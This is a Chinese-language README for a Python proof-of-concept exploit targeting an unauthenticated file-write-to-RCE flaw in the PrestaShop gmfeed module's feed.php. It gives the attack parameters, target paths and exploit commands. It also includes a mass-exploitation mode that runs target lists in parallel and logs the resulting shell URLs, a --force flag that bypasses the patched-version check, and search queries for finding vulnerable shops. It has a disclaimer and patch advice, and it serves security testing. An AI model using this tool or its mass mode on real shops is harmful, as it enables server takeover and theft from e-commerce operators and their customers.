针对 CVE-2026-85520 的 Python 3 PoC — MyPresta.eu / VEKIA 的 Google Merchant Center Feed 模块(gmfeed),用于 PrestaShop — 当使用 “保存到文件” / URL 导出时,在 feed.php 上存在 未认证任意文件写入。CVSS 3.1 9.3 严重(软件)。
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| 目录 | https://pocbit.org/pocs/ |
| 模块 | gmfeed(Google Merchant Center Feed) |
| 厂商修复 | ≥ 2.3.10(建议安装 2.4.1+) |
| CWE | CWE-20 / CWE-73 / CWE-434 类问题(写入时缺少认证 + 路径/内容控制) |
gmfeed 是一个商业模块,用于为 PrestaShop 商店生成面向 Google Merchant Center 的 XML/CSV 产品目录。在旧版本中,当目录通过 URL 生成并保存到磁盘时(Save to file / cron),modules/gmfeed/feed.php 端点在没有身份验证的情况下可以接受带有任意参数的输出文件名、路径、扩展名和内容。
攻击者通过精心构造的 GET/POST 请求可以在服务器上写入任意文件(例如 pocbit_xxxxx.php),然后通过 Web 执行该文件,从而获得远程代码执行(RCE)。这意味着电子商务服务器被完全接管——请仅在授权的渗透测试 / 自己的实验商店环境中进行测试。
根据供应商(MyPresta.eu)的公告:2.3.10 之前的版本受影响;修复方案为保存到文件的 URL 添加商店专属密钥并关闭未授权写入。仅覆盖旧 zip 文件是不够的——必须通过**“delete module files”**移除模块,然后干净地安装 2.4.1。
CVE-2026-85520 影响 gmfeed PrestaShop 模块(MyPresta.eu 的 Google Merchant Center Feed)。当可通过 URL 访问 保存到磁盘 模式时(exportsavefile=1 及厂商变更日志中记录的相关导出参数),feed.php 导出脚本未能强制执行以下措施:
modules/gmfeed/ 下或通过路径遍历序列写入。影响:未认证任意文件写入 → RCE(通过 HTTP 执行上传的 .php)。
发布说明中引用的公开厂商参数包括 export_file_format、exportsavefile,以及 2.3.x 系列中新增的自定义 导出文件名 选项。此 PoC 会轮换常见参数别名(exportfilename、exportfilecontent、export_path 等)针对以下目标:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| 模式 | 行为 |
|---|---|
| check | 检测 gmfeed(feed.php、config.xml、标记),解析 模块版本,标记 < 2.3.10 |
| check --aggressive | 轻量级保存到文件探测(无永久 shell;探测路径中 exportsavefile=0) |
| exploit | 写入带有标记 POCBIT-85520-OK 的 pocbit_*.php 探测文件,通过 ?pocbit=1 验证 |
| exploit --dry-run | 仅导出探测请求(不放置 shell) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | 本地模拟 feed.php — 必须显示 exploited: true(健全性检查) |
--force | 跳过“模块缺失 / 已修补版本”防护 |
JSONL 字段:pocbit、pocbit_catalog、pocbit_page、cve、vendor、module、product。
安全性: 默认载荷是 仅含标记 的 PHP 存根,而非完整的交互式 shell。授权测试后请删除写入的文件。
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
预期:绿色 [LAB],JSON "exploited": true,"shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php"。
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
在利用后手动验证:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
输出:
| 文件 | 内容 |
|---|---|
cve_2026_85520_results.jsonl | 所有检查行 |
cve_2026_85520_exploit.jsonl | 所有利用行 |
hits.txt | 制表符分隔:URL、状态、版本 |
exploited.txt | 制表符分隔:URL、shell_url、版本 |
模块存在性:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
版本(如已公开):
/modules/gmfeed/config.xml
静态 feed 产物(并非单独的漏洞证明):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
注意: 在 MyPresta 发布 2026 年安全公告后,许多商店已运行 ≥ 2.3.10 版本——在互联网范围的列表中,预计会看到 patched_version 或 write_or_verify_failed。
feed.php 副本)。modules/gmfeed/ 目录,查找异常的 .php 文件。参考:MyPresta 安全修复公告。
{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
仅可在您拥有或已获得明确书面授权进行测试的系统上使用。未经授权的访问是违法的。PoCbit 提供概念验证工具,用于防御性验证和补丁验证。
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520